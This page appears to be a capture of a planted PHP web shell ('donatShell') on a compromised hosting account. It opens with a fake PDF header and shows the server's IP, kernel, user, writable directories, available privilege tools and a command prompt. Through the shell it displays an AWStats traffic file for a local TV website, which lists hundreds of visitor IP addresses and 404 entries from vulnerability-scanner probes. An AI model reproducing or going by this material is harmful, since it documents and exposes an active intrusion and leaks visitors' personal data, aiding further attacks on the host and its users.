%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.205
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/vlasotin/tmp/awstats/ssl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/vlasotin/tmp/awstats/ssl/awstats032021.vlasotince.tv.txt
AWSTATS DATA FILE 7.7 (build 20180105)
# If you remove this file, all statistics for date 202103 will be lost/reset.
# Last config file used to build this data file was /home/vlasotin/tmp/awstats/ssl/awstats.vlasotince.tv.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2014                
POS_TIME 2700                
POS_VISITOR 16144               
POS_DAY 50485               
POS_DOMAIN 3723                
POS_LOGIN 4430                
POS_ROBOT 4585                
POS_WORMS 5726                
POS_EMAILSENDER 5857                
POS_EMAILRECEIVER 6000                
POS_SESSION 51463               
POS_SIDER 51678               
POS_FILETYPES 6135                
POS_DOWNLOADS 6501                
POS_OS 6568                
POS_BROWSER 6913                
POS_SCREENSIZE 10099               
POS_UNKNOWNREFERER 10173               
POS_UNKNOWNREFERERBROWSER 11142               
POS_ORIGIN 11431               
POS_SEREFERRALS 11585               
POS_PAGEREFS 11920               
POS_SEARCHWORDS 12304               
POS_KEYWORDS 12539               
POS_MISC 2364                
POS_ERRORS 12649               
POS_CLUSTER 4286                
POS_SIDER_404 12810               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20210401001034 3059 866826 12308282875627
FirstTime 20210301014339
LastTime 20210331231021
LastUpdate 20210401142723 3059 0 3058 0 0
TotalVisits 1154                
TotalUnique 784                 
MonthHostsKnown 0                   
MonthHostsUnknown 824                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
RealPlayerSupport 0 0 0
TotalMisc 0 0 0
JavaEnabled 0 0 0
DirectorSupport 0 0 0
PDFSupport 0 0 0
JavascriptDisabled 0 0 0
QuickTimeSupport 0 0 0
FlashSupport 0 0 0
AddToFavourites 0 0 0
WindowsMediaPlayerSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 236 381 14818278 537 842 44320383
1 284 412 17041383 700 998 42847170
2 142 235 9266098 592 776 34865024
3 228 377 14562774 404 603 31415125
4 55 68 3660717 532 848 41077230
5 115 166 8215915 730 1011 42023653
6 108 167 8061362 480 685 33957381
7 291 477 18898327 334 503 28190243
8 386 614 26108788 668 878 46261302
9 612 1041 42775315 373 633 34819951
10 299 561 24257869 340 596 33060332
11 529 953 35373304 468 722 44221513
12 815 1541 53265578 393 616 34050630
13 1454 2637 95039498 412 720 38709590
14 6694 12102 428846267 403 595 30451893
15 6019 10707 400340878 405 731 38179559
16 3274 5654 213274308 383 577 31341915
17 1573 2747 99087892 474 721 42329240
18 1309 2291 85934526 381 632 34310906
19 860 1602 57160963 491 714 38956491
20 754 1266 47475999 385 602 32746272
21 733 1295 48440612 405 624 33767680
22 821 1466 59994171 495 777 39299950
23 480 849 33038224 413 675 36568422
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 28
rs 23040 41704 1518919423
us 2263 3139 142135664
ro 888 1586 60290644
ru 305 471 19302871
mt 269 440 17334153
ch 243 423 14875591
fr 154 267 9660466
no 137 262 8584410
de 104 133 6191942
me 100 184 7309050
dk 72 129 4768539
mk 70 127 5545600
ca 68 95 4370270
is 67 124 4324428
in 47 75 3056892
gb 39 74 3106040
se 39 66 2208870
sk 36 65 2755259
tr 33 62 2679005
ba 33 63 2246763
si 32 59 2169495
at 10 34 1607325
cn 7 7 366135
pl 7 7 600299
pt 4 4 247574
kr 1 1 85980
ua 1 6 171919
be 2 2 24439
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 25
AhrefsBot/ 4925 245659150 20210331233528 0
SemrushBot/ 2536 123255360 20210331235429 0
Googlebot/ 1910 123059614 20210331231827 0
bingbot/ 1792 93228216 20210331232443 0
Mediapartners-Google 1420 34505640 20210331222212 0
Googlebot\-Image/ 718 37516764 20210331223449 0
bingpreview 577 27135747 20210331183944 0
bot[\s_+:,\.\;\/\\-] 357 17747992 20210331222525 0
oBot/ 341 16189803 20210331222009 0
YandexBot/ 241 12632857 20210331095657 0
facebookexternalhit/ 134 7096392 20210331160556 0
(firefox/)([0-9]\.|[0-1][0]\.) 62 1400900 20210318144340 0
proximic 21 1321873 20210331150225 0
MJ12bot/ 21 1068925 20210321205021 0
yandex 19 325757 20210328150333 0
Dalvik/ 17 275589 20210331171738 0
fetcher 13 998399 20210331073430 0
no_user_agent 12 577684 20210328170204 0
crawl 8 232 20210331071200 0
SurdotlyBot/ 4 340689 20210325031514 0
discover 3 171890 20210329203719 0
YandexImages/ 1 468078 20210329152221 0
spider 1 12214 20210309143745 0
TweetmemeBot/ 1 70590 20210318143128 0
curl 1 0 20210314045443 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 14
png 2488 46497610 0 0
eot 12 898148 0 0
woff 680 37467128 0 0
txt 12 696 0 0
map 2 1080868 0 0
css 8388 330907755 0 0
jpg 1353 103321445 0 0
woff2 1358 103026960 0 0
ttf 4 492512 0 0
html 2143 171212422 0 0
Unknown 2228 117910500 0 0
gif 814 25082824 0 0
php 21644 557870146 0 0
js 8483 349170032 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 1
/ads.txt 76 0 4176
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 19
win7 5638 3217
macosx10 4 4
winvista 4 4
winnt 65 10
ios_iphone 3925 2241
unix 143 87
macosx9 4 4
win8.1 256 142
linuxandroid 27253 15189
winxp 324 195
linux 2703 1104
win8 10 10
win2000 3 3
macosx6 1 1
Unknown 1368 1307
ios_ipad 62 33
win10 7709 4448
macosx7 10 0
macosx 127 72
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 136
chrome41.0.2225.0 4 4
chrome83.0.4103.14 4 4
chrome81.0.4044.117 68 39
chrome38.0.2125.122 1 0
chrome74.0.3729.157 2 2
mozilla 37 36
chrome83.0.4099.2 4 4
firefox62.0 8 8
chrome83.0.4100.3 2 2
chrome83.0.4086.0 3 3
chrome76.0.3809.71 239 131
chrome83.0.4087.0 1 1
chrome81.0.4044.111 1 0
samsung 1 0
chrome29.0.1547.62 10 10
msie9.0 65 10
chrome88.0.4324.152 204 116
safari14.1 292 175
nsplayer 1 1
chrome71.0.3578.99 260 148
chrome88.0.4324.208 286 176
chrome61.0.3163.79 1 1
chrome78.0.3904.62 3 3
chrome83.0.4102.0 3 3
chrome37.0.2062.117 1 1
chrome88.0.4324.93 591 330
chrome87.0.4280.88 167 85
chrome85.0.4183.101 135 77
opera69.0.3686.7 3 3
chrome87.0.4280.101 328 186
chrome87.0.4280.141 457 257
netscape5.0 2 2
safari14.0 1 1
chrome83.0.4103.97 10 10
chrome37.0.2062.124 4 4
chrome79.0.3945.116 39 12
chrome27.0.1500.55 4 4
chrome79.0.3945.79 272 164
opera62.3.3146.57763 137 83
chrome83.0.4103.44 1 1
safari12.1.1 64 36
chrome49.0.2623.112 244 143
chrome88.0.4324.104 62 34
chrome14.0.835.202 1 1
chrome70.0.3538.67 1 1
chrome83.0.4093.3 3 3
safari14.0.3 1794 1024
safari 1093 619
safari3.0 10 10
chrome80.0.3987.132 14 3
chrome60.0.3112.90 178 97
opera74.0.3911.218 251 140
chrome83.0.4096.0 4 4
firefox47.0 4 4
chrome88.0.4324.181 2888 1603
safari10.0 60 33
opera40.0.2207.0 62 35
chrome30.0.1599.17 5 5
chrome79.0.3945.147 122 66
chrome23.0.1271.64 10 0
firefox72.0 138 68
chrome80.0.3987.122 1 1
chrome58.0.3029.110 2 1
chrome47.0.2526.69 2349 869
android 91 64
chrome88.0.4324.190 1635 922
Unknown 1180 1175
opera53.0.2907.68 3 3
chrome86.0.4240.193 63 35
safari11.0 63 34
msie11.0 170 89
chrome78.0.3904.113 1 1
iphone 428 244
chrome88.0.4324.141 419 222
chrome84.0.4147.111 76 46
chrome81.0.4044.138 231 120
chrome89.0.0.0 7 7
chrome86.0.4240.99 134 104
chrome88.0.4324.111 119 65
chrome84.0.4147.89 4 4
chrome29.0.1547.57 4 4
chrome54.0 2 2
safari13.1.1 73 44
chrome89.0.4389.82 2608 1590
chrome78.0.3904.108 555 330
msie7.0 21 21
chrome67.0.3396.87 41 13
chrome85.0.4183.102 4 4
chrome55.0.2883.87 1 1
chrome63.0.3239.84 1 1
chrome83.0.4103.0 2 2
chrome88.0.4324.150 1 0
chrome35.0.1916.47 4 4
chrome83.0.4103.106 2463 1362
chrome73.0.3683.103 2 2
chrome84.0.4147.105 1 1
chrome89.0.4389.105 3091 1716
chrome75.0.3770.100 111 36
chrome83.0.4098.0 2 2
chrome38.0.1025.166 639 420
chrome72.0.3626.105 67 38
chrome5.0.375.127 69 39
chrome55.0.2883.91 88 34
chrome52.0.2743.98 62 33
chrome83.0.4103.83 1 0
chrome66.0.3359.117 2 2
msie10.0 1 1
chrome89.0.4389.86 6336 3527
chrome40.0.2214.93 5 5
ibrowse 2 0
chrome88.0.4324.182 192 107
firefox52.0 62 34
chrome79.0.3945.93 60 33
chrome70.0.3538.64 1 0
chrome77.0.3865.73 1 0
chrome53.0.2785.34 1 1
chrome89.0.4389.72 1217 669
firefox87.0 296 168
chrome89.0.4389.90 10759 6162
chrome59.0.3071.125 265 77
chrome70.0.3538.110 336 194
chrome47.0.2526.106 66 37
chrome74.0.3729.131 1 1
chrome83.0.4103.61 64 31
chrome56.0.2924.0 63 35
firefox66.0 1 1
chrome53.0.2820.59 1 1
safari13.1.2 180 97
chrome85.0.4183.81 62 35
chrome83.0.4103.34 5 5
chrome83.0.4089.0 3 3
opera73.0.3856.408 1 1
chrome85.0.4183.127 246 114
edge18 76 25
chrome83.0.4103.101 133 76
firefox86.0 1622 898
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 12
cortex/1.0 20210319144005
Mozilla/5.0_(compatible;_TTD-Content;__https://www.thetradedesk.com/general/ttd-content) 20210313151430
Mozilla/5.0 20210317111008
Mozilla/5.0_(compatible;_NetcraftSurveyAgent/1.0;__info@netcraft.com) 20210331184324
Buck/2.2;_(_https://app.hypefactors.com/media-monitoring/about.html) 20210331152326
Mozilla/5.0_(en-US)_AppleWebKit/537.36_(KHTML,_like_Gecko;_Widget_Server)_Chrome/88.0.4324.208_Safari/537.36 20210311015515
scalaj-http/2.4.2 20210331151402
Mozilla/5.0_(compatible;_evc-batch/2.0) 20210331115314
Go-http-client/1.1 20210325231848
[FBAN/FB4A;FBAV/309.0.0.47.119;FBBV/277444778;FBDM/{density=2.0,width=720,height=1406};FBLC/sr_RS;FBRV/278973527;FBCR/Telenor;FBMF/samsung;FBBD/samsung;FBPN/com.facebook.katana;FBDV/SM-A202F;FBSV/10;FBOP/19;FBCA/arm64-v8a:;] 20210318170919
okhttp/3.12.13 20210319042721
NSPlayer/11.0.6001.7000 20210319180139
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 5
okhttp/3.12.13 20210319042721
cortex/1.0 20210319144005
Go-http-client/1.1 20210325231848
scalaj-http/2.4.2 20210331151402
Buck/2.2;_(_https://app.hypefactors.com/media-monitoring/about.html) 20210331152326
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 1609 1724
From1 1 2
From2 1542 1598
From3 104 104
From4 24815 46181
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 11
google_com 10 15
www_google_com_vn 6 6
live 0 1
search_yahoo_com 4 4
yandexru 5 5
bing 1 1
www_google_rs 34 34
www_google_de 1 1
www_google_com 1472 1522
www_google_no 2 2
www_google_fr 7 7
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 7
http://m.facebook.com 73 73
https://l.facebook.com 13 13
https://m.facebook.com 5 5
http://cpanel.vlasotince.tv/wp-login.php 5 5
http://cpanel.vlasotince.tv 3 3
https://www.facebook.com 3 3
http://webmail.vlasotince.tv/wp-login.php 2 2
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 5
tv+vlasotince+uzivo 10
tv+vlasotince 5
rtv+vlasotince 3
vlasina+tv 2
vlasina+tv. 1
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 6
vlasotince 18
tv 17
uzivo 10
vlasina 3
rtv 3
tv. 1
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 7
500 77 0
404 1747 142117461
421 1 322
400 7 1667
401 82 4111
206 15 587697
301 1 242
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 94
/images/Svetski-Dan-Roma-08042013.gif 2 -
/images/RTV/TV%20Vlasotince%20Vinski%20Bal.gif 1 -
/PROGRAMSKA%20SEMA_resize.jpg 1 -
/guestbook/ 1 -
/Arhiva.html 12 -
/index-1.html 15 -
/wordpress/wp-content/plugins/apikey/apikey.php 1 -
/index-5.html 1 https://www.vlasotince.tv/index-5.html
/backup/wp-content/plugins/apikey/apikey.php 1 -
/vesti.php 172 -
/tv-uzivo 19 -
/images/RTV/top_bg.jpg 3 -
/vesti/hronika/strana/ 1 https://www.vlasotince.tv/
/images/facebook.jpg 1 -
/vest/432/assets/images/logo-white.png 1 -
/index.html 4 -
/index-2.html 17 -
/images/send.gif 2 -
//wp-content/plugins/apikey/apikey.php 1 -
/old/wp-content/plugins/apikey/apikey.php 1 -
/vest/469/assets/images/logo-white.png 1 -
/flash/header_v8.swf 4 -
/sfsites/aura 1 -
/images/RTV/Gagazig.gif 29 -
/guest_auth/guestIsUp.php 1 -
/sitemap.html 2 -
/vest/439/assets/images/logo-white.png 1 -
/vest/443/assets/images/logo-white.png 1 -
/images/t4_1.gif 1 -
/assets/plugins/theia-sticky-sidebar/maps/theia-sticky-sidebar.min.js.map 2 -
/new/wp-content/plugins/apikey/apikey.php 1 -
/assets/plugins/theia-sticky-sidebar/maps/ResizeSensor.min.js.map 2 -
/Vlasotince.html 1 -
/Aktuelno.html 1 -
/brightmail/servlet/com.ve.kavachart.servlet.ChartStream 1 -
/aura 1 -
/index-4.html 21 -
/vesti/drustvo/strana/ 1 https://www.vlasotince.tv/
/sitemap.xml 2 -
/download.html 4 -
/vest/497/assets/images/logo-white.png 1 -
/images/listen.gif 1 -
/blog/wp-content/plugins/apikey/apikey.php 1 -
/vesti/kultura/strana/ 1 https://www.vlasotince.tv/
/vest/437/assets/images/logo-white.png 1 -
//vendor/phpunit/phpunit/phpunit.xsd 1 -
/index.php 2 -
/robots.txt 1138 -
/cgi-sys/Count.cgi 1 -
/vesti/sport/strana/ 1 https://www.vlasotince.tv/
/images/RTV/Da%20reklame%20mame.gif 38 -
/index-3.html 19 -
/upload/UploadResourcePic.ashx 1 -
/Ankete.htm 6 -
/index.htm 1 -
/app-ads.txt 8 -
/ResourcePic/%7B%7Bendpoint%7D%7D 1 -
/wp/wp-content/plugins/apikey/apikey.php 1 -
/s/sfsites/aura 1 -
/vesti/ekonomija/strana/ 1 https://www.vlasotince.tv/
/vest/385/assets/images/logo-white.png 7 -
/index-7.html 7 -
/vest/447/assets/images/logo-white.png 1 -
/vesti/zabava/strana/ 1 https://www.vlasotince.tv/
/images/Fudbaleri-Vlasine-03042013.gif 1 -
/apple-touch-icon.png 1 -
/wp-content/plugins/simple-file-list/ee-upload-engine.php 1 -
/vesti/politika/strana/ 1 https://www.vlasotince.tv/
/guestbook/index.php 2 -
/.git/config 2 -
/images/youtube.jpg 1 -
/blog/ 1 -
/wp-content/uploads/simple-file-list/nuclei.php 1 -
/VlasotinceVideo.html 1 -
/guest_auth/poc.php 1 -
/Grozd.swf 2 -
/index-6.html 3 -
/images/RTV/5.jpg 3 -
/vesala/index.php 90 -
/contact 1 https://vlasotince.tv/contact
/xmlrpc.php 2 -
/images/RTV/Tanja0176.gif 3 -
/vest/422/assets/images/logo-white.png 1 -
/images/RTV/Tv-studio33.jpg 4 -
/https://www.vlasotince.tv/ 1 -
/index-8.html 12 -
/owa/auth/logon.aspx 5 -
/fotoalbum.swf 3 -
/images/clear.gif 1 -
/vlasotince.jpg 2 -
/images/RTV/Karta-gaga.gif 2 -
/vest/434/assets/images/logo-white.png 1 -
/ads.txt 21 -
/vest/433/assets/images/logo-white.png 1 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 824
109.92.208.114 1149 2030 74862244 20210331170127
178.79.4.43 243 429 12550343 20210319141201
5.57.73.196 215 387 15721716 20210328151831
141.8.8.37 203 318 13129232 20210331155355
178.79.4.26 203 262 6969490 20210317153953
93.87.220.95 201 484 6450323 20210320143049
178.79.55.76 196 362 8168212 20210328155747
24.135.167.215 196 349 13924126 20210331165616
87.116.191.202 190 331 12719182 20210331155843
178.149.225.214 187 392 14073907 20210331153504
178.221.234.152 184 323 11864709 20210320150824
176.104.111.61 184 362 10426476 20210328184008
178.79.4.106 178 326 11421466 20210331164142
178.79.4.58 174 315 12269460 20210328190437
178.79.4.63 165 248 9303342 20210331200802
93.184.81.225 162 303 12913072 20210331155549
178.220.100.188 161 300 10215438 20210320154907
178.149.144.182 160 276 10889295 20210328134535
66.249.83.7 158 236 7160544 20210327153110
66.249.83.5 146 225 7605334 20210327153110
93.87.234.91 144 426 9115688 20210328193408
109.92.154.26 143 243 8089949 20210321012327
185.27.128.65 136 221 7582298 20210331161518
178.149.72.156 135 225 8974019 20210328165308
109.92.177.86 134 219 7517824 20210318184215
178.79.5.59 1 1 30785 20210301014339
91.191.184.114 2 2 99592 20210304040553
77.243.30.32 32 58 2130566 20210331152102
203.109.108.48 42 70 2632093 20210311015629
109.245.33.155 64 119 4076758 20210318170520
109.245.39.90 1 1 81074 20210331064112
34.221.233.227 1 1 85974 20210320232304
109.245.227.119 81 142 5773918 20210313205350
188.120.102.226 4 4 305366 20210318203029
193.186.4.29 1 1 85944 20210328103802
205.169.39.32 32 59 2154375 20210310232513
54.250.87.247 5 5 61153 20210331211359
46.16.105.255 37 66 2867785 20210328161539
3.84.46.161 16 16 897925 20210330090339
212.200.181.213 38 68 3114353 20210307080037
87.116.166.111 39 69 3120009 20210307131106
74.125.213.13 32 49 1890386 20210311015515
44.234.104.144 1 1 85974 20210320232242
37.19.110.198 35 63 2186431 20210318190335
94.189.195.160 1 1 58851 20210305144354
3.228.21.126 16 16 887808 20210312025813
176.67.214.188 116 197 7741205 20210313130601
109.245.32.194 0 1 163265 
37.19.110.18 0 1 221310 
91.148.126.170 74 103 3571518 20210317145806
109.245.33.85 63 117 3905440 20210319161534
109.92.158.3 95 153 5662498 20210313164801
173.252.127.33 1 1 63831 20210318165044
93.87.234.80 35 65 2289607 20210318175618
192.99.18.136 6 6 397077 20210331030031
93.87.234.16 60 210 569916 20210313150350
94.250.103.239 33 63 2246763 20210313212821
109.245.33.126 33 60 2037573 20210318164747
109.92.154.84 41 69 2433237 20210321124843
185.37.26.53 8 8 253968 20210320054330
109.245.227.102 33 60 2202099 20210313143702
178.222.248.91 34 62 3227123 20210302115246
178.223.191.192 34 61 2651827 20210307142011
3.219.233.46 17 17 932722 20210308111738
94.189.224.138 56 85 3687945 20210310150733
93.86.81.201 2 5 721603 20210304075107
54.252.185.140 1 1 0 20210306230458
93.113.251.162 33 61 2052790 20210318131906
212.200.247.109 33 60 2626520 20210301182106
109.245.33.245 35 62 2769583 20210328160822
176.67.222.211 35 63 2262874 20210320145544
34.215.69.55 4 4 48923 20210303132623
87.116.163.106 41 68 2574907 20210324132245
77.243.29.66 34 63 2763766 20210307145557
66.249.81.228 11 40 1924319 20210318171816
178.149.144.220 33 62 2684380 20210307180803
54.209.1.228 16 16 887633 20210304004845
93.87.221.2 87 239 2716583 20210331203858
109.245.36.46 10 10 312748 20210319180534
109.245.38.213 1 1 85661 20210331161922
54.200.106.51 1 1 85015 20210312010647
212.200.65.83 31 65 2457422 20210313143723
79.101.120.24 1 1 93709 20210330122422
178.79.4.55 68 127 4967202 20210318161754
109.245.33.64 1 1 84752 20210307164039
193.186.4.16 1 1 85849 20210324140810
109.245.33.203 105 193 6836889 20210318164405
212.200.247.76 5 5 353446 20210321143233
18.236.149.44 1 1 85166 20210316233710
178.79.4.44 33 61 2052790 20210318172306
188.120.101.33 4 26 1262906 20210318191623
188.120.116.125 34 63 2196070 20210320150841
195.252.86.11 33 62 2129212 20210317151751
93.113.251.207 35 63 2714629 20210328163856
93.87.234.136 46 76 3129551 20210313154857
77.243.28.252 33 62 2124861 20210319151018
46.240.189.38 32 61 2151756 20210313232629
77.243.31.8 1 1 84766 20210305110045
178.17.31.138 33 61 2052790 20210318185237
212.200.181.78 35 63 2245005 20210317155941
185.37.25.237 13 38 1468839 20210313153620
178.79.4.218 42 72 2918372 20210320162458
34.227.115.241 16 16 887648 20210302230754
212.200.247.78 33 62 2071961 20210318222336
104.248.166.43 1 1 85854 20210317193329
188.120.102.191 39 68 2706805 20210331145806
79.175.92.67 34 62 2266948 20210313095037
178.79.4.62 83 142 5722035 20210328155203
109.92.115.99 1 1 63576 20210328200600
212.200.181.44 2 3 186941 20210318182815
77.105.53.76 34 63 2157822 20210318154609
93.113.251.174 42 68 2315175 20210318153334
35.243.23.137 1 4 113157 20210310201017
188.120.100.179 1 23 1050540 20210331163504
192.99.18.122 5 5 311097 20210317084200
109.245.36.33 36 63 1237554 20210328151252
93.87.220.3 35 64 2282059 20210321190317
212.200.181.115 34 61 2123578 20210321121127
5.188.48.14 11 11 570141 20210320201111
44.192.5.176 16 16 894895 20210319130550
178.220.3.51 110 194 7460302 20210318165212
54.172.69.189 16 16 887195 20210308024117
178.149.140.115 14 42 1655937 20210302073118
109.245.35.149 32 59 2117369 20210313154923
37.19.110.12 39 69 2381142 20210322161009
34.87.185.104 1 1 12235 20210322030235
212.200.247.123 11 38 298377 20210307131105
87.116.161.205 35 63 2253003 20210315191119
150.158.170.238 2 2 24439 20210312033745
212.200.181.70 33 62 2679014 20210307151838
93.87.220.203 6 6 383099 20210314104911
109.92.121.242 33 62 2129212 20210317142125
3.239.2.80 17 17 933880 20210302135634
213.253.117.34 31 58 2101088 20210313141713
109.92.125.139 1 23 1050999 20210319162325
188.240.88.205 40 69 2439044 20210319200529
109.245.33.77 0 1 51038 
139.99.252.94 33 60 2094825 20210317055148
52.192.73.251 5 5 61126 20210330222040
79.175.89.131 34 61 2658211 20210307142050
34.229.50.159 18 18 991877 20210317205921
54.185.66.219 1 1 84665 20210314230615
87.116.162.170 105 145 6948433 20210331152915
161.123.249.114 1 1 85980 20210331080140
188.230.231.142 1 1 68407 20210305213654
87.116.176.162 1 1 71681 20210316160046
212.200.181.207 36 63 2705480 20210323164356
52.3.182.114 18 18 978275 20210311124245
176.104.104.219 33 61 2052790 20210318175742
188.120.101.158 1 1 85863 20210318214615
66.249.93.165 6 22 1219561 20210325223536
109.245.34.160 37 66 2544899 20210331161051
213.198.215.250 34 62 2168323 20210314185421
24.135.26.50 1 1 58851 20210308165726
93.87.234.222 30 56 1852650 20210319161540
116.203.73.108 1 1 84669 20210315084153
160.99.38.140 0 1 821155 
109.245.36.26 17 18 1193212 20210318204848
212.65.116.2 12 18 694304 20210320161700
185.112.20.35 68 124 5487270 20210307153218
176.104.111.103 37 66 2867782 20210327194334
93.87.234.26 37 67 2951601 20210329170414
176.104.110.15 113 199 8899555 20210307184308
176.67.193.38 35 64 2757399 20210308205707
109.245.33.186 36 63 2256079 20210320165712
109.245.39.28 36 65 2347210 20210317151454
54.80.41.118 0 2 116 
109.245.227.49 39 68 3112958 20210307140331
77.105.62.156 33 59 2015115 20210318195916
188.240.88.167 35 64 2163606 20210318125439
3.135.211.192 2 2 140558 20210316211912
178.149.0.130 36 62 2436609 20210313140952
212.200.247.86 37 68 2525683 20210313151658
82.145.215.206 1 6 114298 20210319003118
109.92.154.238 32 61 2151756 20210313140826
54.82.219.116 16 16 886801 20210316055321
109.245.35.95 26 53 792698 20210313140152
85.127.229.63 0 1 35922 
109.92.103.176 0 1 231669 
109.92.100.108 48 77 2929762 20210328122209
37.19.107.108 33 60 2644625 20210306205743
212.200.181.52 35 62 2131745 20210318175913
212.200.181.198 35 65 2327940 20210320144805
109.245.225.156 4 4 240837 20210318162536
109.245.35.160 33 60 1233587 20210313143425
131.220.6.152 31 31 2646664 20210331055415
188.120.119.228 3 3 144135 20210329151715
185.229.144.22 3 3 256549 20210328180520
66.249.93.169 5 30 1238766 20210325223536
109.245.95.238 43 71 2884292 20210323201350
205.169.39.174 34 72 2685248 20210316030708
185.37.27.42 34 61 2161683 20210320150117
3.239.15.102 18 18 988006 20210324082114
109.245.39.122 33 62 2679014 20210307145108
178.20.207.211 68 122 5379274 20210329145550
109.245.36.211 33 61 2659835 20210305174908
31.11.87.85 35 63 2714629 20210328161420
94.189.155.0 37 66 2939501 20210307141733
178.79.4.48 53 84 3807180 20210324222858
178.220.38.128 34 63 2286118 20210313142117
178.79.4.61 73 132 5876434 20210307142437
205.169.39.67 34 72 2674878 20210317072219
77.243.31.12 32 60 2132586 20210313144437
109.92.158.240 35 64 2368709 20210313141744
37.19.109.128 6 6 433906 20210313144659
